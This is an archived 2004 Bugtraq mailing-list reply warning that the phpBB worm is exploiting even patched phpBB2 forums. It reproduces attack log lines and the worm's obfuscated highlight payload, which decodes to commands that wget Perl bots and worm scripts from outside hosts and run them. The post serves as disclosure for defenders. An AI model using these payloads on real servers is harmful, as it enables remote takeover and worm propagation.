In-Reply-To: <Pine.LNX.4.61.0412241909320.23893@xxxxxxxxxxxxxxxxxxxxxxx> >Received: (qmail 11902 invoked from network); 24 Dec 2004 20:01:50 -0000 >Received: from outgoing.securityfocus.com (HELO outgoing2.securityfocus.com) (205.206.231.26) > by mail.securityfocus.com with SMTP; 24 Dec 2004 20:01:50 -0000 >Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20]) > by outgoing2.securityfocus.com (Postfix) with QMQP > id CDA6D1436D1; Fri, 24 Dec 2004 13:06:19 -0700 (MST) >Mailing-List: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm >Precedence: bulk >List-Id: <bugtraq.list-id.securityfocus.com> >List-Post: <mailto:bugtraq@xxxxxxxxxxxxxxxxx> >List-Help: <mailto:bugtraq-help@xxxxxxxxxxxxxxxxx> >List-Unsubscribe: <mailto:bugtraq-unsubscribe@xxxxxxxxxxxxxxxxx> >List-Subscribe: <mailto:bugtraq-subscribe@xxxxxxxxxxxxxxxxx> >Delivered-To: mailing list bugtraq@xxxxxxxxxxxxxxxxx >Delivered-To: moderator for bugtraq@xxxxxxxxxxxxxxxxx >Received: (qmail 7567 invoked from network); 24 Dec 2004 11:06:25 -0000 >X-Authentication-Warning: mailbox.prolocation.net: raymond owned process doing -bs >Date: Fri, 24 Dec 2004 19:12:22 +0100 (CET) >From: Raymond Dijkxhoorn <raymond@xxxxxxxxxxxxxxx> >To: steve@xxxxxxxxxxxxx >Cc: bugtraq@xxxxxxxxxxxxxxxxx >Subject: Re: phpBB Worm >In-Reply-To: <20041224161026.27228.qmail@xxxxxxxxxxxxxxxxxxxxx> >Message-ID: <Pine.LNX.4.61.0412241909320.23893@xxxxxxxxxxxxxxxxxxxxxxx> >References: <20041224161026.27228.qmail@xxxxxxxxxxxxxxxxxxxxx> >X-NCC-RegID: nl.multikabel >MIME-Version: 1.0 >Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed > >Hi! > >>> This assumes you're seeing GET-requests, but there are other ways >>> (e.g. POST) to exploit such code. > >> Whilst I understand your point, it should be noted that this >> vulnerability in phpBB is susceptible only to GET-based attacks: the >> vulnerable data is sourced from $HTTP_GET_VARS. > >And it seems worse, we see even upgraded phpbb2 installs (2.0.11) >succesfully and activly being exploited. > >216.22.10.90 - - [24/Dec/2004:18:42:54 +0100] "GET >/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 >HTTP/1.1" 200 12758 "-" "LWP::Simple/5.803" >66.152.98.103 - - [24/Dec/2004:19:02:15 +0100] "GET >/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 >HTTP/1.1" 200 12758 "-" "LWP::Simple/5.79" >64.62.187.10 - - [24/Dec/2004:19:04:11 +0100] "GET >/phpBB2/viewtopic.php?t=817&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 >HTTP/1.1" 200 68131 "-" "LWP::Simple/5.63" >[24/Dec/2004:19:09:26 +0100] "GET >/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 >HTTP/1.1" 200 20767 "-" "LWP::Simple/5.803" >205.214.85.184 - - [24/Dec/2004:19:10:18 +0100] "GET >/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 >HTTP/1.1" 200 20875 "-" "LWP::Simple/5.802" > >Loads of those, and all request the files from civa.org > >This is on a patched phpbb2, so be aware!! > I can confirm a changed version of this attack also. It didn't use the phpBB highlight bug but something different, looks like somekind of PHPSESSID injecting: GET /knjiga.php?id=8043/antikvarijati.php?PHPSESSID=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt HTTP/1.1" 200 20674 "-" "LWP::Simple/5.803" *** This is on PHP 4.3.10, all phpBB2 are 2.0.11 *** After sucsessfull wget-ing, one of files "worm.txt", is using google to find vulnerable phpBB2 (highlight bug) forums and use this: $wb = '&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%2 52echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252ech r(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100) %252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(115)%252e chr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(5 9)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%25 2echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr (101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(119)%252echr(111) %252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252ec hr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(10 5)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%25 2echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252echr (46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)% 252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252ec hr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(10 1)%252echr(116)%252echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%25 2echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr (119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)% 252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252ec hr(122)%252echr(111)%252echr(110)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(11 2)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%25 2echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr (108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)% 252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(111)%252echr(119)%252ec hr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(11 4)%252echr(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46)%252echr(116)%252echr(120)%252echr(116))%2 52e%2527'; That "decodes" into: cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcoders.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt
